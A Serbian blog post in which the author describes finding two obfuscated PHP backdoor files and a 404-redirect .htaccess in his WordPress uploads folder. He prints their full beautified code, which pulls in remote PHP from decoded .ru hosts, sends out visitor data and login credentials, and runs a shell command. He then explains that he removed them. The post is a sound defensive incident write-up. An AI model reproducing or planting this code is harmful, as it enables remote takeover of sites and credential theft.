Архива за 'deface' категорију

Backdoor na bRlogu?

септембар 11, 2008

Upadnem malopre sasvim slučajno u svoj wp-contents/uploads/ folder, kad ima šta i da vidim tamo: Dva PHP fajla, jedan base.php i jedan create.php, kao i jedan .htaccess fajl koji usmerava sve 404 greške na create.php. Budem radoznao, otvorim ih kad ono “obfuscated” kod, odnosno nije toliko obfuscated koliko je sve napisano u jednom redu. Ne budem lenj, otvorim ih preko PHPEdit-a koji sam dobio ranije (i za koji sam još uvek dužan da napišem review), odradim ctrl+shift+f (code beautifier) i dobijem lepo ispisan kod:

base.php

error_reporting(0); if (isset($_POST["l"]) and isset($_POST["p"])) {         if (isset($_POST["input"])) {                 $user_auth = "&l=" . base64_encode($_POST["l"]) . "&p=" . base64_encode(md5($_POST["p"]));         } else {                 $user_auth = "&l=" . $_POST["l"] . "&p=" . $_POST["p"];         } } else {         $user_auth = ""; } if (!isset($_POST["log_flg"])) {         $log_flg = "&log"; } if (!@include_once(base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" . base64_decode("LnVzZXJzLmJpc2hlbGwucnU=") . "/?r_addr=" . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) . "&url=" . base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg)) {         if ($_POST["l"] == "special") {                 print "sys_active" . `uname -a`;         } }

create.php

error_reporting(0); $s = "e"; $a = (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b = (isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c = (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $d = (isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF); $e = (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING); $f = (isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $g = (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h = (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $str = base64_encode($a) . "." . base64_encode($b) . "." . base64_encode($c) . "." . base64_encode($d) . "." . base64_encode($e) . "." . base64_encode($f) . "." . base64_encode($g) . "." . base64_encode($h) . ".$s"; if ((include(base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" . base64_decode("LnVzZXJzLnBocGZyZWUucnU=") . "/?" . $str))) { } else {         include(base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" . base64_decode("LnVzZXJzLnBocGNvZGluZy5ydQ==") . "/?" . $str); }

Sve ovo što je base64_decode echo-ujem i vidim da je skripta napravljena da cross-site inkluduje u ovu skriptu štagod joj se prosledi sa http://hegfzzazbzbcd.users.phpfree.ru/, odnosno sa  http://hegfzzazbzbcd.users.phpcoding.ru ako ne uspe sa ove prve adrese - klasičan backdoor. Nemam pojma od kad to stoji na blogu, niti imam pojma otkud to kod mene u uploads/ folderu, i čudim se kako do sad bRlog nije deface-ovan, ali sad i da hoće neko preko toga da ga deface-uje - ne može, jer sam izbrisao skripte, i sprečio izvršavanje php skripti u uploads/ folderu.

A sad me izvin’te, odoh da proverim ostale blogove, što savetujem i vama.